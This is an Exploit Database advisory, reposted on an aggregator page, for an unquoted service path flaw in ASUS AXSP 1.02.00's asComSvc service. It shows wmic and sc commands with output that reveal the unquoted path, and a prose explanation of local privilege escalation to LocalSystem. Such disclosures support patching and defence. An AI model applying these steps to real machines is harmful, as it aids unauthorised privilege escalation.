ASUS AXSP 1.02.00 – ‘asComSvc’ Unquoted Service Path

• Exploit Database
• 19 阅读

• 作者： Roberto Piña
  日期： 2020-03-11
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/48193/

• # Exploit Title: ASUS AXSP 1.02.00 - 'asComSvc' Unquoted Service Path
  # Discovery by: Roberto Piña
  # Discovery Date: 2020-03-10
  # Vendor Homepage: https://www.asus.com/
  # Software Link :https://dlcdnets.asus.com/pub/ASUS/misc/utils/AISuite3_Win10_H97M-Pro_V10102.zip?_ga=2.170180192.1334401606.1583873755-790266082.1583873755
  # Tested Version: 1.02.00
  # Vulnerability Type: Unquoted Service Path
  # Tested on OS: Windows 10 Home x64 en
  
  # Step to discover Unquoted Service Path: 
  
  C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "asComSvc" | findstr /i /v """
  ASUS Com ServiceasComSvcC:\Program Files (x86)\ASUS\AXSP\1.02.00\atkexComSvc.exe Auto
  
  C:\>sc qc asComSvc
  [SC] QueryServiceConfig SUCCESS
  
  SERVICE_NAME: asComSvc
  TYPE : 10WIN32_OWN_PROCESS
  START_TYPE : 2 AUTO_START
  ERROR_CONTROL: 1 NORMAL
  BINARY_PATH_NAME : C:\Program Files (x86)\ASUS\AXSP\1.02.00\atkexComSvc.exe
  LOAD_ORDER_GROUP :
  TAG: 0
  DISPLAY_NAME : ASUS Com Service
  DEPENDENCIES : RpcSs
  SERVICE_START_NAME : LocalSystem
  
  
  #Exploit:
  # A successful attempt would require the local user to be able to insert their code in the system root path 
  # undetected by the OS or other security applications where it could potentially be executed during 
  # application startup or reboot. If successful, the local user's code would execute with the elevated 
  # privileges of the application.